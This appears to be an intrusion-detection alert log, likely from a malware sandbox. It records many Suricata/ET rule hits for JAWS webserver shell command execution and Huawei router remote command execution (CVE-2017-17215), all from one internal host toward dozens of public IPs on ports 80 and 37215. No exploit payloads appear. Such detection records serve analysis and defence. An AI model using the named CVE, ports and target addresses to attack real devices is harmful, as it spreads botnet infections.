Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 37.128.248.249

Timestamp:	192.168.2.2337.128.248.24943846802030092 03/05/23-19:05:50.964877
SID:	2030092
Source Port:	43846
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.195.23.214

Timestamp:	192.168.2.23197.195.23.21448468372152835222 03/05/23-19:05:52.531265
SID:	2835222
Source Port:	48468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.54.244.145

Timestamp:	192.168.2.2313.54.244.14537402802030092 03/05/23-19:06:23.222534
SID:	2030092
Source Port:	37402
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 183.216.170.55

Timestamp:	192.168.2.23183.216.170.5546412802030092 03/05/23-19:06:14.799488
SID:	2030092
Source Port:	46412
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.216.64.193

Timestamp:	192.168.2.23154.216.64.19356672802030092 03/05/23-19:07:24.800012
SID:	2030092
Source Port:	56672
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 128.199.37.66

Timestamp:	192.168.2.23128.199.37.6651546802030092 03/05/23-19:06:22.717534
SID:	2030092
Source Port:	51546
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 38.207.7.135

Timestamp:	192.168.2.2338.207.7.13537772802030092 03/05/23-19:06:50.641951
SID:	2030092
Source Port:	37772
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 90.85.86.14

Timestamp:	192.168.2.2390.85.86.1458594802030092 03/05/23-19:06:01.991303
SID:	2030092
Source Port:	58594
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 192.121.178.12

Timestamp:	192.168.2.23192.121.178.1236052802030092 03/05/23-19:05:48.775479
SID:	2030092
Source Port:	36052
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.216.213.222

Timestamp:	192.168.2.2323.216.213.22250992802030092 03/05/23-19:06:32.868339
SID:	2030092
Source Port:	50992
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.162.53.68

Timestamp:	192.168.2.23156.162.53.6835310372152835222 03/05/23-19:06:34.126425
SID:	2835222
Source Port:	35310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 198.161.13.155

Timestamp:	192.168.2.23198.161.13.15538226802030092 03/05/23-19:06:43.951732
SID:	2030092
Source Port:	38226
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 138.100.12.3

Timestamp:	192.168.2.23138.100.12.353440802030092 03/05/23-19:07:24.511288
SID:	2030092
Source Port:	53440
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 131.255.228.137

Timestamp:	192.168.2.23131.255.228.13759652802030092 03/05/23-19:06:15.039350
SID:	2030092
Source Port:	59652
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 5.76.212.61

Timestamp:	192.168.2.235.76.212.6155856802030092 03/05/23-19:07:15.731253
SID:	2030092
Source Port:	55856
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.61.66.232

Timestamp:	192.168.2.2323.61.66.23248748802030092 03/05/23-19:06:02.050906
SID:	2030092
Source Port:	48748
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 184.29.232.165

Timestamp:	192.168.2.23184.29.232.16533930802030092 03/05/23-19:05:39.770734
SID:	2030092
Source Port:	33930
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.215.203.36

Timestamp:	192.168.2.2323.215.203.3653126802030092 03/05/23-19:07:05.484127
SID:	2030092
Source Port:	53126
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.110.250.25

Timestamp:	192.168.2.2334.110.250.2535118802030092 03/05/23-19:05:24.721510
SID:	2030092
Source Port:	35118
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 24.152.39.21

Timestamp:	192.168.2.2324.152.39.2143924802030092 03/05/23-19:07:24.573755
SID:	2030092
Source Port:	43924
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 139.130.118.190

Timestamp:	192.168.2.23139.130.118.19048772802030092 03/05/23-19:07:18.781764
SID:	2030092
Source Port:	48772
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.45.242

Timestamp:	192.168.2.23156.254.45.24238510372152835222 03/05/23-19:06:09.455476
SID:	2835222
Source Port:	38510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 117.204.31.106

Timestamp:	192.168.2.23117.204.31.10657394802030092 03/05/23-19:06:20.132073
SID:	2030092
Source Port:	57394
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.160.250.25

Timestamp:	192.168.2.23156.160.250.2540794372152835222 03/05/23-19:06:17.428402
SID:	2835222
Source Port:	40794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.39.156.103

Timestamp:	192.168.2.23197.39.156.10336378372152835222 03/05/23-19:06:17.508141
SID:	2835222
Source Port:	36378
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 38.19.165.74

Timestamp:	192.168.2.2338.19.165.7455562802030092 03/05/23-19:07:06.011120
SID:	2030092
Source Port:	55562
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 107.162.236.179

Timestamp:	192.168.2.23107.162.236.17954502802030092 03/05/23-19:05:52.665069
SID:	2030092
Source Port:	54502
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.146.48.5

Timestamp:	192.168.2.2352.146.48.544312802030092 03/05/23-19:05:39.547422
SID:	2030092
Source Port:	44312
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 160.121.152.117

Timestamp:	192.168.2.23160.121.152.11755584802030092 03/05/23-19:05:27.686152
SID:	2030092
Source Port:	55584
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 206.183.123.74

Timestamp:	192.168.2.23206.183.123.7456904802030092 03/05/23-19:05:58.009510
SID:	2030092
Source Port:	56904
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.59.172.167

Timestamp:	192.168.2.2352.59.172.16750066802030092 03/05/23-19:06:35.242232
SID:	2030092
Source Port:	50066
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.153.107.31

Timestamp:	192.168.2.2341.153.107.3133562372152835222 03/05/23-19:07:05.268973
SID:	2835222
Source Port:	33562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.160.73.47

Timestamp:	192.168.2.2334.160.73.4752398802030092 03/05/23-19:06:00.762641
SID:	2030092
Source Port:	52398
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.195.111.5

Timestamp:	192.168.2.23197.195.111.557100372152835222 03/05/23-19:06:02.219345
SID:	2835222
Source Port:	57100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 134.209.36.108

Timestamp:	192.168.2.23134.209.36.10840618802030092 03/05/23-19:06:02.041172
SID:	2030092
Source Port:	40618
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 167.114.85.203

Timestamp:	192.168.2.23167.114.85.20359324802030092 03/05/23-19:06:58.944129
SID:	2030092
Source Port:	59324
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 108.138.88.36

Timestamp:	192.168.2.23108.138.88.3634738802030092 03/05/23-19:06:55.839647
SID:	2030092
Source Port:	34738
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 178.140.10.18

Timestamp:	192.168.2.23178.140.10.1835024802030092 03/05/23-19:05:33.414709
SID:	2030092
Source Port:	35024
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.216.184.23

Timestamp:	192.168.2.23154.216.184.2342154802030092 03/05/23-19:07:14.146769
SID:	2030092
Source Port:	42154
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.211.101.63

Timestamp:	192.168.2.23154.211.101.6349572802030092 03/05/23-19:06:55.882033
SID:	2030092
Source Port:	49572
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.164.247.176

Timestamp:	192.168.2.23156.164.247.17642964372152835222 03/05/23-19:05:52.587325
SID:	2835222
Source Port:	42964
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 38.207.16.92

Timestamp:	192.168.2.2338.207.16.9236234802030092 03/05/23-19:05:40.534425
SID:	2030092
Source Port:	36234
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 178.250.0.157

Timestamp:	192.168.2.23178.250.0.15743312802030092 03/05/23-19:06:00.292105
SID:	2030092
Source Port:	43312
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.152.223.170

Timestamp:	192.168.2.2341.152.223.17046994372152835222 03/05/23-19:07:09.769360
SID:	2835222
Source Port:	46994
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 137.74.69.165

Timestamp:	192.168.2.23137.74.69.16546142802030092 03/05/23-19:06:32.854954
SID:	2030092
Source Port:	46142
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 101.200.34.64

Timestamp:	192.168.2.23101.200.34.6433724802030092 03/05/23-19:05:56.165051
SID:	2030092
Source Port:	33724
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 103.111.62.155

Timestamp:	192.168.2.23103.111.62.15536322802030092 03/05/23-19:06:29.270657
SID:	2030092
Source Port:	36322
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 46.59.53.203

Timestamp:	192.168.2.2346.59.53.20348230802030092 03/05/23-19:07:21.868757
SID:	2030092
Source Port:	48230
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.95.79.198

Timestamp:	192.168.2.23104.95.79.19856960802030092 03/05/23-19:06:09.484939
SID:	2030092
Source Port:	56960
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.34.180.7

Timestamp:	192.168.2.2323.34.180.749382802030092 03/05/23-19:05:55.731354
SID:	2030092
Source Port:	49382
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.222.2.172

Timestamp:	192.168.2.23104.222.2.17251302802030092 03/05/23-19:05:24.993363
SID:	2030092
Source Port:	51302
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 103.68.30.35

Timestamp:	192.168.2.23103.68.30.3549194802030092 03/05/23-19:06:53.958336
SID:	2030092
Source Port:	49194
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.162.47.189

Timestamp:	192.168.2.23156.162.47.18940092372152835222 03/05/23-19:06:59.512198
SID:	2835222
Source Port:	40092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 186.27.145.14

Timestamp:	192.168.2.23186.27.145.1438966802030092 03/05/23-19:05:36.770985
SID:	2030092
Source Port:	38966
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.195.227.49

Timestamp:	192.168.2.23197.195.227.4948268372152835222 03/05/23-19:06:07.684265
SID:	2835222
Source Port:	48268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 83.1.247.64

Timestamp:	192.168.2.2383.1.247.6444440802030092 03/05/23-19:06:29.312124
SID:	2030092
Source Port:	44440
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.152.36.165

Timestamp:	192.168.2.2341.152.36.16555888372152835222 03/05/23-19:06:54.973346
SID:	2835222
Source Port:	55888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 128.199.4.81

Timestamp:	192.168.2.23128.199.4.8155308802030092 03/05/23-19:06:02.138350
SID:	2030092
Source Port:	55308
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.247.58.74

Timestamp:	192.168.2.2354.247.58.7435742802030092 03/05/23-19:06:32.873493
SID:	2030092
Source Port:	35742
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 60.49.106.192

Timestamp:	192.168.2.2360.49.106.19241772802030092 03/05/23-19:07:19.065930
SID:	2030092
Source Port:	41772
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 197.234.59.92

Timestamp:	192.168.2.23197.234.59.9257670802030092 03/05/23-19:05:39.481357
SID:	2030092
Source Port:	57670
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.139.190.175

Timestamp:	192.168.2.2345.139.190.17559744802030092 03/05/23-19:05:55.402813
SID:	2030092
Source Port:	59744
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.15.91

Timestamp:	192.168.2.23156.224.15.9141962372152835222 03/05/23-19:06:28.049972
SID:	2835222
Source Port:	41962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.80.7

Timestamp:	192.168.2.23156.254.80.757720372152835222 03/05/23-19:07:25.691739
SID:	2835222
Source Port:	57720
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 47.106.10.239

Timestamp:	192.168.2.2347.106.10.23950216802030092 03/05/23-19:06:29.751008
SID:	2030092
Source Port:	50216
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.162.79.41

Timestamp:	192.168.2.23156.162.79.4157550372152835222 03/05/23-19:05:26.756816
SID:	2835222
Source Port:	57550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 207.60.214.186

Timestamp:	192.168.2.23207.60.214.18655652802030092 03/05/23-19:06:09.524253
SID:	2030092
Source Port:	55652
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 40.71.29.94

Timestamp:	192.168.2.2340.71.29.9456182802030092 03/05/23-19:06:04.559555
SID:	2030092
Source Port:	56182
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 119.254.77.198

Timestamp:	192.168.2.23119.254.77.19841834802030092 03/05/23-19:06:18.267817
SID:	2030092
Source Port:	41834
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 65.218.73.199

Timestamp:	192.168.2.2365.218.73.19933128802030092 03/05/23-19:06:38.952624
SID:	2030092
Source Port:	33128
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.201.106.201

Timestamp:	192.168.2.2354.201.106.20145846802030092 03/05/23-19:05:54.764104
SID:	2030092
Source Port:	45846
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.197.133.250

Timestamp:	192.168.2.23197.197.133.25050578372152835222 03/05/23-19:06:49.485356
SID:	2835222
Source Port:	50578
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.32.217.191

Timestamp:	192.168.2.2345.32.217.19150280802030092 03/05/23-19:07:15.889712
SID:	2030092
Source Port:	50280
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 194.181.229.100

Timestamp:	192.168.2.23194.181.229.10041444802030092 03/05/23-19:07:18.458024
SID:	2030092
Source Port:	41444
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 14.245.197.237

Timestamp:	192.168.2.2314.245.197.23759302802030092 03/05/23-19:06:05.240452
SID:	2030092
Source Port:	59302
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 82.64.20.174

Timestamp:	192.168.2.2382.64.20.17459950802030092 03/05/23-19:06:10.566745
SID:	2030092
Source Port:	59950
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 221.148.247.85

Timestamp:	192.168.2.23221.148.247.8541068802030092 03/05/23-19:05:55.350826
SID:	2030092
Source Port:	41068
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 202.189.77.236

Timestamp:	192.168.2.23202.189.77.23639448802030092 03/05/23-19:07:08.786385
SID:	2030092
Source Port:	39448
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 51.158.46.254

Timestamp:	192.168.2.2351.158.46.25448858802030092 03/05/23-19:07:21.802234
SID:	2030092
Source Port:	48858
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.163.243.40

Timestamp:	192.168.2.23156.163.243.4054886372152835222 03/05/23-19:06:30.401863
SID:	2835222
Source Port:	54886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.197.138.158

Timestamp:	192.168.2.23197.197.138.15836438372152835222 03/05/23-19:06:07.644201
SID:	2835222
Source Port:	36438
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.105.223.99

Timestamp:	192.168.2.2323.105.223.9944448802030092 03/05/23-19:06:35.555065
SID:	2030092
Source Port:	44448
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.160.73.168

Timestamp:	192.168.2.2318.160.73.16852374802030092 03/05/23-19:06:46.641542
SID:	2030092
Source Port:	52374
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.193.197.137

Timestamp:	192.168.2.23197.193.197.13735978372152835222 03/05/23-19:07:16.407791
SID:	2835222
Source Port:	35978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.163.248.15

Timestamp:	192.168.2.23156.163.248.1541816372152835222 03/05/23-19:07:11.998938
SID:	2835222
Source Port:	41816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.207.132.203

Timestamp:	192.168.2.23104.207.132.20341260802030092 03/05/23-19:05:24.771867
SID:	2030092
Source Port:	41260
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.44.111.45

Timestamp:	192.168.2.2352.44.111.4560566802030092 03/05/23-19:06:44.095420
SID:	2030092
Source Port:	60566
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.196.151.26

Timestamp:	192.168.2.23197.196.151.2658126372152835222 03/05/23-19:05:58.816616
SID:	2835222
Source Port:	58126
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.238.143.174

Timestamp:	192.168.2.23185.238.143.17456124802030092 03/05/23-19:05:24.767254
SID:	2030092
Source Port:	56124
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 205.177.232.2

Timestamp:	192.168.2.23205.177.232.235984802030092 03/05/23-19:07:11.903806
SID:	2030092
Source Port:	35984
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 35.169.16.71

Timestamp:	192.168.2.2335.169.16.7149616802030092 03/05/23-19:05:57.926664
SID:	2030092
Source Port:	49616
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 172.116.38.16

Timestamp:	192.168.2.23172.116.38.1643284802030092 03/05/23-19:06:44.257050
SID:	2030092
Source Port:	43284
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 75.130.38.63

Timestamp:	192.168.2.2375.130.38.6345260802030092 03/05/23-19:05:54.949124
SID:	2030092
Source Port:	45260
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 46.101.218.241

Timestamp:	192.168.2.2346.101.218.24151444802030092 03/05/23-19:06:22.573995
SID:	2030092
Source Port:	51444
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 5.76.212.61

Timestamp:	192.168.2.235.76.212.6155716802030092 03/05/23-19:07:11.836077
SID:	2030092
Source Port:	55716
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.75.12.179

Timestamp:	192.168.2.2323.75.12.17944736802030092 03/05/23-19:06:40.772422
SID:	2030092
Source Port:	44736
Destination Port:	80
Protocol:	TCP
